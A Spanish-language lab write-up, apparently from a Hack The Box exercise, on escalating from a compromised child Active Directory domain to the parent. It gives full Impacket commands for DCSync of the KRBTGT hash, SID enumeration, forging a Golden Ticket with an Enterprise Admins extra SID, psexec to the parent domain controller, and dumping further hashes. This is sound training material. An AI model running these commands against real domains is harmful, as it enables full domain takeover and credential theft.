Attacking Domain Trusts — Child → Parent (Linux)

Escenario

Realizamos el ataque desde un host Linux, comprometiendo un dominio hijo y escalando hasta el dominio padre.
Usaremos únicamente herramientas Impacket: secretsdump.py, lookupsid.py, ticketer.py, psexec.py, raiseChild.py.


🧩 Información requerida para el ataque

Elemento Descripción
🔑 Hash NTLM del KRBTGT del dominio hijo Necesario para Golden Ticket
🧬 SID del dominio hijo Para construir el ticket
👤 Usuario objetivo Puede ser falso (ej: hacker)
🌐 FQDN del dominio hijo LOGISTICS.INLANEFREIGHT.LOCAL
🏰 SID del grupo Enterprise Admins del dominio padre Para acceso total

🩸 1. Obtener Hash KRBTGT — DCSync desde Linux

secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt

Salida relevante:
Pasted image 20251120204623.png
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::

Tip

Este hash NTLM es el ingrediente principal del Golden Ticket.


🧬 2. Obtener SID del dominio hijo — lookupsid.py

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240

Salida:
Pasted image 20251120204727.png
[*] Domain SID is: S-1-5-21-2806153819-209893948-922872689

Para filtrar:

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID

🏰 3. Obtener SID Enterprise Admins del dominio padre

lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"

Resultado:
Pasted image 20251120204858.png
S-1-5-21-3842939050-3880317879-2865463114-519


🎯 Datos finales reunidos

Variable Valor
KRBTGT NTLM 9d765b482771505cbe97411065964d5f
SID dominio hijo S-1-5-21-2806153819-209893948-922872689
Usuario hacker
FQDN LOGISTICS.INLANEFREIGHT.LOCAL
SID Enterprise Admins padre S-1-5-21-3842939050-3880317879-2865463114-519

🎟️ 4. Crear Golden Ticket — ticketer.py

ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker

Esto genera:
{1A0EBEDF-DB14-4697-A0A1-5745DCD618DB}.png
Saving ticket in hacker.ccache

Info

El archivo hacker.ccache es tu credencial Kerberos falsificada.


🗂️ 5. Cargar el ticket Kerberos

export KRB5CCNAME=hacker.ccache

🧨 6. Acceder al Domain Controller del dominio padre (Psexec)

psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5

Salida:

{9186BD3C-5177-4A3B-B607-BBF327E49279}.png

😈 Acceso total al dominio padre — Enterprise Admin (EA).

Obtener hash de un usuario

secretsdump.py -k -no-pass LOGISTICS.INLANEFREIGHT.LOCAL/hacker@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL -just-dc-user bross

{B0F3E885-6E16-423B-95E0-79798D4D5485}.png


🤖 7. Automatizar el ataque — raiseChild.py

raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

El script:

{D3D9B3AD-73C8-4497-8BA7-F73284F23E07}.png

Riesgo

Estas herramientas “autopwn” pueden romper entornos productivos.
No usarlas ciegamente en clientes.


🧠 Flujo del ataque en Mermaid

flowchart TD
    A[Control del dominio hijo] --> B[DCSync para obtener hash KRBTGT]
    B --> C[Obtener SID dominio hijo]
    C --> D[Obtener SID Enterprise Admins padre]
    D --> E[Crear Golden Ticket en ticketer.py]
    E --> F[Usar ccache para Kerberos]
    F --> G[Psexec contra DC del dominio padre]
    G --> H[Acceso Enterprise Admin]

📘 Nota sobre herramientas automáticas

Advertencia profesional

Scripts como raiseChild.py o funciones “autopwn” de BloodHound:

  • Pueden fallar fácilmente

  • No indican claramente qué está mal

  • Pueden causar disrupciones en entornos reales

Siempre entender el proceso manual antes de automatizar.